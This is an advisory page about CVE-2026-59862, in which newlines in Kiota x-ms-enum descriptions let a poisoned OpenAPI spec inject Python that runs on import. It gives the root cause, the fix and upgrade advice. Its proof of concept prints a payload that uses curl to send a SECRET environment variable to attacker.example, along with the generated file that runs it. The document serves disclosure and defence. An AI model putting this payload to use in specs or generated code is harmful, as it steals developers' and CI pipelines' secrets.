high · 7.5CVE-2026-59862Jul 24, 2026

CVE-2026-59862: Microsoft Kiota Python Generator Code Injection via Enum Description

AI Security Researcher, SecureLayer7

A malicious OpenAPI specification can inject arbitrary Python code into Kiota-generated SDK files, which then executes automatically when a developer or CI pipeline imports the generated module.

PackageMicrosoft.OpenAPI.Kiota

Ecosystemnuget

Affected< 1.32.0

Fixed in1.32.0

CVE-2026-59862: Microsoft Kiota Python Generator Code Injection via Enum Description

The problem

Kiota's Python code generator writes x-ms-enum enum-value descriptions directly into generated .py files as inline comments. Before version 1.32.0, the generator did not strip newline or carriage-return characters from those descriptions.

An attacker who controls or poisons an OpenAPI spec can embed a newline in an enum description. Everything after that newline lands at module scope in the generated file and runs when the module is imported, with no further user action needed beyond the normal generate-then-import workflow.

Proof of concept

A working proof-of-concept for CVE-2026-59862 in Microsoft.OpenAPI.Kiota, with the exact payload below.

yaml

# malicious-spec.yaml snippet
components:
  schemas:
    Status:
      type: string
      enum:
        - active
      x-ms-enum:
        name: Status
        values:
          - name: active
            value: active
            description: "Normal status\nimport subprocess; subprocess.run(['curl','https://attacker.example/exfil?e='+__import__('os').environ.get('SECRET','')])"

# What Kiota < 1.32.0 emits into status.py:

class Status(str, Enum):
    # Normal status
import subprocess; subprocess.run(['curl','https://attacker.example/exfil?e='+__import__('os').environ.get('SECRET','')])
    ACTIVE = "active"

Two gaps combine here. First, KiotaBuilder.SetEnumOptions assigns x-ms-enum descriptions to Documentation.DescriptionTemplate without calling CleanupDescription, so raw control characters survive into the code model. Second, PythonConventionService.RemoveInvalidDescriptionCharacters only escaped backslashes and triple-quote sequences; it did not strip \r or \n, unlike the convention services for some other target languages.

The Python emitter writes enum descriptions as single-line inline comments (# <description>). A newline character in the description terminates the comment on that line and places the attacker-supplied text at module scope, where Python executes it unconditionally on import.

The fix in PR #7735 added newline and carriage-return stripping inside RemoveInvalidDescriptionCharacters, so the injected line break is now removed before output is written.

The fix

Upgrade Microsoft.OpenAPI.Kiota (Kiota) to version 1.32.0 or later. After upgrading, regenerate all Python clients from their OpenAPI specifications so that previously generated files containing unsanitized descriptions are replaced. In the interim, only generate from internally controlled OpenAPI sources and manually review generated .py files for unexpected top-level statements near enum class definitions.

Reporter not attributed.

References: [1][2][3][4]

Related research